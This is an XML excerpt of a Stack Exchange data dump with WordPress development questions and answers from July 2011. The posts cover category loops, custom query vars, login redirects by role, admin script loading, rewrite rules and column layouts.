  <row Id="22346" PostTypeId="1" CreationDate="2011-07-07T22:23:18.327" Score="0" ViewCount="52" Body="&lt;pre&gt;&lt;code&gt;foreach((get_the_category()) as $cat) {&#xA;if (!($cat-&amp;gt;cat_name=='Featured')) echo $cat-&amp;gt;cat_name . ' ';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is what has been recommended in the forums but its not working for me.  I need to split off the echo piece like the following to show an image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/cats/&amp;lt;?php echo $category-&amp;gt;slug ?&amp;gt;-icon.png&quot;/&amp;gt;  &amp;lt;?php  echo $category-&amp;gt;cat_name ?&amp;gt; &amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2011-08-09T01:21:12.303" Title="using get_the_category to get all post categories except one" Tags="&lt;tags&gt;&lt;conditional-tags&gt;" AnswerCount="1" />
  <row Id="22347" PostTypeId="1" CreationDate="2011-07-07T22:25:59.980" Score="1" ViewCount="27" Body="&lt;p&gt;I am looking for a way to make it so multiple authors/moderators within wordpress get notified when there is a new comment waiting approval.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking of switching over to Disqus for this type of thing, but was wondering if it's possible without swapping out the commenting interface.&lt;/p&gt;&#xA;" OwnerUserId="6842" LastActivityDate="2011-08-08T05:20:56.053" Title="Multiple Comment Moderators and Notifications" Tags="&lt;comments&gt;&lt;notifications&gt;&lt;moderation&gt;" AnswerCount="1" />
  <row Id="22348" PostTypeId="1" AcceptedAnswerId="22349" CreationDate="2011-07-07T22:43:44.533" Score="1" ViewCount="66" Body="&lt;p&gt;I've created a custom post, &lt;code&gt;events&lt;/code&gt;, and saved the meta data &lt;code&gt;event_year&lt;/code&gt; to each event.  I'm trying to get a year's event archive.  When I go the the following URL, the &lt;code&gt;meta_key&lt;/code&gt; and &lt;code&gt;meta_value&lt;/code&gt; are not set for some reason, and thus the event archive is unfiltered.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/?post_type=events&amp;amp;meta_key=event_year&amp;amp;meta_value=2011&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Debugging the values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $wp_query-&amp;gt;query_vars['post_type']; // 'events'&#xA;echo $wp_query-&amp;gt;query_vars['meta_key']; // -blank-&#xA;echo $wp_query-&amp;gt;query_vars['meta_value']; // -blank-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why can't I set the meta_key and meta_value?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The meta_values are saved to the events.  I've successfully displayed them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_post_meta($post-&amp;gt;ID, 'event_year', true); // '2011'  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6843" LastActivityDate="2011-07-07T22:58:28.843" Title="I can't set meta_key in my custom post type query" Tags="&lt;custom-post-types&gt;&lt;post-meta&gt;&lt;meta-query&gt;&lt;custom-post-type-archives&gt;" AnswerCount="1" />
  <row Id="22349" PostTypeId="2" ParentId="22348" CreationDate="2011-07-07T22:58:28.843" Score="1" ViewCount="" Body="&lt;p&gt;That's because 'meta_key' and 'meta_value' are not public query vars. In other words, you can't use them in URLs directly, nor should you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, register a specific query var, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_my_qv() {&#xA;  global $wp;&#xA;  $wp-&amp;gt;add_query_var( 'my_qv' );&#xA;}&#xA;add_action( 'init', 'register_my_qv' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you can go to a URL like this: &lt;code&gt;?my_qv=foobar&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do now is map your query var to the actual query you want to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function map_my_qv( $wp_query ) {&#xA;  if ( $meta_value = $wp_query-&amp;gt;get( 'my_qv' ) ) {&#xA;    $wp_query-&amp;gt;set( 'meta_key', 'some_meta_key' );&#xA;    $wp_query-&amp;gt;set( 'meta_value', $meta_value );&#xA;  }&#xA;}&#xA;add_action( 'parse_query', 'map_my_qv' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-07T22:58:28.843" CommentCount="2" />
  <row Id="22350" PostTypeId="1" CreationDate="2011-07-07T22:59:17.580" Score="0" ViewCount="26" Body="&lt;p&gt;Ater rebooting a memcache node, I am getting an error on root blog only, with a telling error log message from wp-includes/ms-settings.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Thu Jul 07 18:55:27 2011] [error] [client 12.34.56.78] PHP Warning:  Attempt to assign property of non-object in /var/www/domain.php/wp-includes/ms-settings.php on line 114&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Dumping the $current_blog var from that file shows there's no site data loaded into the object, just a couple plugin references, which is why lines like these are failing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $blog_id = $current_blog-&amp;gt;blog_id;&#xA;    $public  = $current_blog-&amp;gt;public;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I clear site options in memcache by hand? What are the keys?&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-07-07T23:19:36.147" Title="How can I clear memcached WordPress site options by hand?" Tags="&lt;options&gt;&lt;site-url&gt;" AnswerCount="1" />
  <row Id="22351" PostTypeId="2" ParentId="22350" CreationDate="2011-07-07T23:19:36.147" Score="1" ViewCount="" Body="&lt;p&gt;The variable in my copy of wordpress on the line your error indicates is actually $current_site as opposed to $current_blog (I may have a newer version of WP).  I believe you can clear that by changing the value of the option_name &quot;siteurl&quot; or &quot;blogname&quot; in your wp_options table on your database.&lt;/p&gt;&#xA;" OwnerUserId="6847" LastActivityDate="2011-07-07T23:19:36.147" CommentCount="1" />
  <row Id="22352" PostTypeId="1" AcceptedAnswerId="22357" CreationDate="2011-07-07T23:30:48.603" Score="0" ViewCount="55" Body="&lt;p&gt;I'd like to force a user to a specific page upon login based on their role using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( current_user_can('contributor') )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the main login function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_loginout($redirect = '', $echo = true) {&#xA;    if ( ! is_user_logged_in() )&#xA;        $link = '&amp;lt;a href=&quot;' . esc_url( wp_login_url(get_permalink()) ) . '&quot;&amp;gt;' . __('Log in') . '&amp;lt;/a&amp;gt;';&#xA;    else&#xA;        $link = '&amp;lt;a href=&quot;' . esc_url( wp_logout_url(get_permalink()) ) . '&quot;&amp;gt;' . __('Log out of account') . '&amp;lt;/a&amp;gt;';&#xA;&#xA;    if ( $echo )&#xA;        echo apply_filters('loginout', $link);&#xA;    else&#xA;        return apply_filters('loginout', $link);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried a number of combinations and seem to be failing. Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-07-07T23:49:59.553" LastActivityDate="2011-07-08T01:18:28.943" Title="How do I redirect upon login a specific user based on role?" Tags="&lt;functions&gt;&lt;redirect&gt;&lt;login&gt;&lt;user-roles&gt;" AnswerCount="1" />
  <row Id="22353" PostTypeId="2" ParentId="22346" CreationDate="2011-07-07T23:36:38.200" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach((get_the_category()) as $cat) {&#xA;    if ($cat-&amp;gt;cat_name != 'Featured') {&#xA;        echo '&amp;lt;li&amp;gt;&amp;lt;img src=&quot;' . get_bloginfo('template_url') . '/images/cats/' . $category-&amp;gt;slug . '-icon.png&quot;/&amp;gt;' . $category-&amp;gt;cat_name . '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2418" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-08T09:50:14.947" LastActivityDate="2011-07-08T09:50:14.947" />
  <row Id="22354" PostTypeId="1" CreationDate="2011-07-07T23:48:15.143" Score="0" ViewCount="42" Body="&lt;p&gt;I have a plugin that will allow administrators to perform certain actions when adding or editing a post.  I use a stylesheet and a javascript for this plugin that I want to include &lt;em&gt;only&lt;/em&gt; when a post is being added or edited.  Am I right to use the following action hooks?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('load-post.php', 'call_my_function');&#xA;add_action('load-post-new.php', 'call_my_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside of the function call_my_function I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function call_my_function() {&#xA;  $plugin_directory = &quot;/wp-content/plugins/&quot;.dirname(plugin_basename(__FILE__));&#xA;  $jssrc = $plugin_directory.'/js/my_plugin.js';&#xA;  wp_enqueue_script(&quot;my_plugin_js&quot;, $jssrc);&#xA;  $csssrc = $plugin_directory.'/css/my_plugin.css';&#xA;  wp_enqueue_style(&quot;my_plugin_css&quot;, $csssrc);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above successfully loads the CSS and Javascript files when not called from the add_action hook.  It does not work successfully when called from these hooks.&lt;/p&gt;&#xA;" OwnerUserId="6847" LastActivityDate="2011-07-08T09:42:54.253" Title="How to Load Scripts and CSS for Admins Only When Editing or Adding Posts" Tags="&lt;posts&gt;&lt;admin&gt;&lt;post-editor&gt;" AnswerCount="2" />
  <row Id="22355" PostTypeId="1" CreationDate="2011-07-07T23:55:21.257" Score="1" ViewCount="68" Body="&lt;p&gt;I've added a rewrite rule with the following code, and now I need to remove it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule('^events$', 'index.php?post_type=events', 'top');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My issue is not that the rule is not working.  It is that the rule is already added, and I want to get rid of it.  Does deleting the add_rewrite_rule() line of code and flushing the rules get rid of it?&lt;/p&gt;&#xA;" OwnerUserId="6843" LastEditorUserId="6843" LastEditorDisplayName="" LastEditDate="2011-07-08T16:52:03.980" LastActivityDate="2011-07-08T16:52:03.980" Title="How do I remove a rewrite rule?" Tags="&lt;url-rewriting&gt;&lt;rewrite-rules&gt;" AnswerCount="1" />
  <row Id="22356" PostTypeId="2" ParentId="22354" CreationDate="2011-07-08T00:32:11.120" Score="1" ViewCount="" Body="&lt;p&gt;you want to use &lt;code&gt;admin_print_scripts-(page_hook)&lt;/code&gt; and &lt;code&gt;admin_print_styles-(page_hook)&lt;/code&gt;, so in your case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_print_scripts-post.php', 'call_my_function');&#xA;add_action('admin_print_scripts-post-new.php', 'call_my_function');&#xA;&#xA;add_action('admin_print_styles-post.php', 'call_my_styles_function');&#xA;add_action('admin_print_styles-post-new.php', 'call_my_styles_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-08T00:32:11.120" CommentCount="1" />
  <row Id="22357" PostTypeId="2" ParentId="22352" CreationDate="2011-07-08T01:18:28.943" Score="2" ViewCount="" Body="&lt;p&gt;filter &lt;code&gt;login_redirect&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_login_redirect_contributors() {&#xA;  if ( current_user_can('contributor') ){&#xA;      return 'url-to-redirect-to';&#xA;  }&#xA;}&#xA;&#xA;add_filter('login_redirect', 'my_login_redirect_contributors');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-08T01:18:28.943" />
  <row Id="22358" PostTypeId="1" CreationDate="2011-07-07T03:10:42.850" Score="0" ViewCount="38" Body="&lt;p&gt;I am migrating an existing Wordpress blog into a subdirectory of a new rails 3 app (deployed on Apache2 / Ubuntu 10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have PHP/MySQL installed, and I have a standard rails app folder structure in the production env:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/var/www/railsapp/public/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside &lt;code&gt;/public/&lt;/code&gt;, I want to copy the Wordpress files into &lt;code&gt;/home/blog/&lt;/code&gt;, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../public/home/blog/-wp stuff-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've already migrated all the files as well as the database, and updated wp-config.php per the directons given in the Wordpress codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I try to access the blog: (&lt;code&gt;www.example.com/home/blog&lt;/code&gt;), I get a 403-forbidden message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already ensured my vhost config is setup correctly (I can access the rails app without issue) and the http.d directive is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory /var/www/railsapp/public/&amp;gt;&#xA;    Options +FollowSymLinks&#xA;    AllowOverride all&#xA;    Order allow,deny&#xA;    Allow from all&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;../home/blog/.htaccess&lt;/code&gt; file is also correct (I believe):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /home/blog/&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /home/blog/index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be the problem?&lt;/p&gt;&#xA;" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-08T06:38:34.567" LastActivityDate="2011-07-08T06:38:34.567" Title="getting wordpress to work inside a rails 3 application" Tags="&lt;database&gt;&lt;htaccess&gt;&lt;wp-config&gt;&lt;configuration&gt;&lt;virtual-hosts&gt;" CommentCount="1" />
  <row Id="22359" PostTypeId="2" ParentId="22355" CreationDate="2011-07-08T02:06:09.573" Score="1" ViewCount="" Body="&lt;p&gt;the &lt;code&gt;flush_rewrite_rules()&lt;/code&gt; function will delete and regenerate the rewrite rules. you can also visit the permalinks settings page in admin and save, that triggers a flush as well.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-08T02:06:09.573" />
  <row Id="22360" PostTypeId="1" CreationDate="2011-07-08T02:17:52.557" Score="-1" ViewCount="63" Body="&lt;p&gt;I was looking at the scripts included with WP and dont see what I can include to use jQuery UI Auto Complete. What do I use? I tried including the whole jQuery UI from Google CDN and auto complete works but some parts of the admin dashboard fails. eg. Custom Menus&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-07-08T02:31:56.540" Title="What to include to use jQuery UI Auto Complete" Tags="&lt;javascript&gt;&lt;wp-enqueue-script&gt;&lt;jquery-ui&gt;" AnswerCount="1" />
  <row Id="22361" PostTypeId="2" ParentId="22360" CreationDate="2011-07-08T02:31:56.540" Score="0" ViewCount="" Body="&lt;p&gt;WordPress uses the &lt;a href=&quot;http://plugins.jquery.com/project/suggest&quot; rel=&quot;nofollow&quot;&gt;jQuery Suggest&lt;/a&gt; plugin, which existed before Autocomplete was added to UI. You can enqueue 'suggest' to load it if it'll work for your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise I think you'd have to build a custom jQuery UI download and then just extract the Autocomplete code, otherwise you'll have two versions of things stepping on each other and you'll get the failure you describe.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-08T02:31:56.540" CommentCount="2" />
  <row Id="22362" PostTypeId="1" AcceptedAnswerId="22363" CreationDate="2011-07-08T03:52:23.083" Score="1" ViewCount="30" Body="&lt;p&gt;Here is my current code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_login_footer() {&#xA;    return '&amp;lt;p&amp;gt;text text text&amp;lt;/p&amp;gt;';&#xA;}&#xA;add_filter('login_form_bottom', 'custom_login_footer');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to add text below the submit button, but I do not know how to apply the &lt;code&gt;login_form_bottom&lt;/code&gt; filter.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-07-08T04:16:40.740" Title="What is the proper way to apply the login_form_bottom filter?" Tags="&lt;customization&gt;&lt;filters&gt;&lt;login&gt;" AnswerCount="1" />
  <row Id="22363" PostTypeId="2" ParentId="22362" CreationDate="2011-07-08T04:16:40.740" Score="2" ViewCount="" Body="&lt;p&gt;your code is correct, however, that filter only applies to the &lt;code&gt;wp_login_form()&lt;/code&gt; function, which is not what &lt;code&gt;wp-login.php&lt;/code&gt; uses, so you won't be seeing your text there if that's what you're expecting! try adding a call to &lt;code&gt;wp_login_form()&lt;/code&gt; in a template to see what the filter does.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-08T04:16:40.740" CommentCount="1" />
  <row Id="22364" PostTypeId="1" AcceptedAnswerId="22506" CreationDate="2011-07-08T04:17:52.890" Score="0" ViewCount="89" Body="&lt;p&gt;I have from my perspective a complicated loop. Code below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- *** Check Mass List (Custom Post Type) *** --&amp;gt;&#xA;&#xA;&amp;lt;!-- *** End Mass List (Custom Post Type) *** --&amp;gt;     &#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&amp;lt;?php $new = 'first'; ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&amp;lt;?php if( $new == 'first' &amp;amp;&amp;amp; !is_paged() ) : $new = 'not-first';  ?&amp;gt;&#xA;&amp;lt;p class=&quot;timedate&quot;&amp;gt;&amp;lt;?php the_date('F jS, Y'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;article id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;latest&quot;&amp;gt;&#xA;&amp;lt;h1&amp;gt;&amp;lt;?php the_category(', '); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;?php ($post == $posts[0] &amp;amp;&amp;amp; !is_paged()) ? the_content('', 'FALSE') : the_excerpt() ; ?&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php the_tags('Tags: ', ', ', '&amp;lt;br&amp;gt;'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;p class=&quot;timedate&quot;&amp;gt;&amp;lt;?php the_date('F jS, Y'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;article id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt; &amp;lt;?php the_category(' '); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;div class=&quot;shortstuff&quot;&amp;gt;&#xA;&amp;lt;?php $tags = get_the_tags();&#xA;$html = '&amp;lt;div class=&quot;post_tags&quot;&amp;gt;';&#xA;foreach ( $tags as $tag )&#xA;{&#xA;$tag_link = get_tag_link( $tag-&amp;gt;term_id );&#xA;&#xA;$html .= &quot;&amp;lt;a href='{$tag_link}' title='{$tag-&amp;gt;name} Tag' class='{$tag-&amp;gt;slug}'&amp;gt;     &amp;lt;h2&amp;gt;{$tag-&amp;gt;name}&amp;lt;/h2&amp;gt;&amp;lt;/a&amp;gt;&quot;;&#xA;$html .= &quot;&amp;lt;p&amp;gt;$tag-&amp;gt;description&amp;lt;/p&amp;gt;&quot;.&quot;&quot;;&#xA;}&#xA;&#xA;$html .= '&amp;lt;/div&amp;gt;';&#xA;echo $html;?&amp;gt;&#xA;&amp;lt;?php ($post == $posts[0] &amp;amp;&amp;amp; !is_paged()) ? the_content('', 'FALSE') : the_excerpt() ; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;    &#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;nav&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;?php posts_nav_link('&amp;amp;nbsp;&amp;amp;bull;&amp;amp;nbsp;'); ?&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;article&amp;gt;&#xA;&amp;lt;h1&amp;gt;Not Found&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;Sorry, but the requested resource was not found on this site.&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This loop as you may have read does the following:&#xA;Displays the latest post made then goes on to display the older posts. The Latest post is displayed in another style as opposed to the older posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add a 3rd check to this loop for a custom post type. So wordpress checks all 3 arguments then displays them based in the order on what date &amp;amp; time they were posted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of the output logic could be. July 5 - Latest, custom post type, other posts. July 6 - custom post type, newest post then oldest post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So everything works as my code shows in the sample. Only change would be the loop checks to see if a custom post type exists for that day and if it does it inserts it into the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited*&lt;/p&gt;&#xA;" OwnerUserId="6070" LastEditorUserId="6070" LastEditorDisplayName="" LastEditDate="2011-07-09T16:27:05.110" LastActivityDate="2011-07-09T19:40:52.167" Title="Insert a Custom Post type into my Loop" Tags="&lt;custom-post-types&gt;&lt;loop&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="22365" PostTypeId="1" CreationDate="2011-07-08T04:19:01.377" Score="0" ViewCount="34" Body="&lt;p&gt;I've had a look at many of the available plugins but they all seem to be too difficult to use or do not provide enough flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugins I've already tried:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WP Post Columns&lt;/li&gt;&#xA;&lt;li&gt;Magazine Columns&lt;/li&gt;&#xA;&lt;li&gt;WP Columns&lt;/li&gt;&#xA;&lt;li&gt;WP Easy Columns&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've also look at one that allowed for per-page sidebars which &lt;em&gt;could&lt;/em&gt; work but the column is separate for the content making it difficult to manage, and the lack of a WYSIWYG editor makes it difficult for those not familiar with HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I'm Trying Achieve:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project I'm working on requires that the people responsible for entering the content be able to add content to a 3/4 column that is the main content and a 1/4 column that is informational content relating to the main content. The content of the 1/4 column will change depending on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To most developers, it's simple to write HTML to do that in the post's content but the people that will be adding/modifying the content don't know HTML so I'm looking for alternatives. I would prefer if they didn't have to remember codes (or short codes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To complicate things, I have 3 templates: &quot;1 column&quot;, &quot;2 columns (1/4, 3/4)&quot; and &quot;2 columns (3/4, 1/4)&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come up with a simple solution to this problem? Is there a plugin that I'm not aware of that would add the ability to have multiple content (column) for a single page? Or is there something that would allow me to add a WYSIWYG editor to widgets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I look forward to your thoughts and recommendations.&lt;/p&gt;&#xA;" OwnerUserId="6850" LastActivityDate="2011-08-07T06:20:04.753" Title="Pages with 2 Columns" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;pages&gt;&lt;columns&gt;" AnswerCount="1" />
  <row Id="22366" PostTypeId="2" ParentId="22365" CreationDate="2011-07-08T04:34:35.327" Score="0" ViewCount="" Body="&lt;p&gt;a few plugins - &lt;a href=&quot;http://podscms.org/&quot; rel=&quot;nofollow&quot;&gt;pods&lt;/a&gt;, &lt;a href=&quot;http://wordpress.org/extend/plugins/magic-fields/&quot; rel=&quot;nofollow&quot;&gt;magic fields&lt;/a&gt;, &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;custom fields template&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can DIY with some meta boxes and tinymce editors, see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/436/is-there-a-way-to-get-n-number-of-wysiwyg-editors-in-a-custom-post-type&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-08T04:34:35.327" CommentCount="1" />
  <row Id="22367" PostTypeId="2" ParentId="22248" CreationDate="2011-07-08T04:55:18.997" Score="1" ViewCount="" Body="&lt;p&gt;1: I achieved this once by using a combination of 2 plugins: user roll editor and front-end-editor. One lets you assign specific abilities to each user and the other, as probably obvious, allows you to let users edit posts from the front-end. So, you can set any user with the roll &quot;Member&quot; to be able to &quot;Edit own posts&quot; but not &quot;create posts&quot; or &quot;delete posts&quot; etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there &lt;em&gt;has&lt;/em&gt; to be a way to make wordpress auto generate a new post assigned to a specific user upon login, but I've yet to have a need for/discover that yet. When I did this for my site, I just created a post for them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: s2 membership is what you need.. I actually just did a website for a client that was similar to yours. s2 membership lets you assign membership rolls to each user and adds a new selection to posts/pages so you can set what level of members use them. IE: You can have a silver, gold, and platinum memberships and control what each level can use very easily. I've never seen another plugin with this much power. It takes a bit to set up, but it's worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On another note, you could always purchase a copy of gravity forms. That mixed with the gravity forms directory plugin and the custom-post-type plugin would allow you to let users submit their information and it would be automatically displayed in a very nice directory list. I've used this combo before and it's awesome. &lt;/p&gt;&#xA;" OwnerUserId="2479" LastEditorUserId="2479" LastEditorDisplayName="" LastEditDate="2011-07-08T05:00:25.560" LastActivityDate="2011-07-08T05:00:25.560" />
  <row Id="22368" PostTypeId="1" AcceptedAnswerId="22377" CreationDate="2011-07-08T04:58:26.197" Score="0" ViewCount="82" Body="&lt;p&gt;Under &quot;Personal Options&quot; on user profile page, there are:&#xA;(1) disable visual editor&#xA;(2) admin color scheme&#xA;(3) keyboard shortcuts&#xA;(4) show admin bar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can remove admin color scheme using remove_action, but not the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to remove them all at once? Or one by one using remove_action or style or js?&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-08T09:14:22.843" Title="How to remove all the items under &quot;Personal Options&quot; on user profile page?" Tags="&lt;customization&gt;" AnswerCount="2" FavoriteCount="1" />
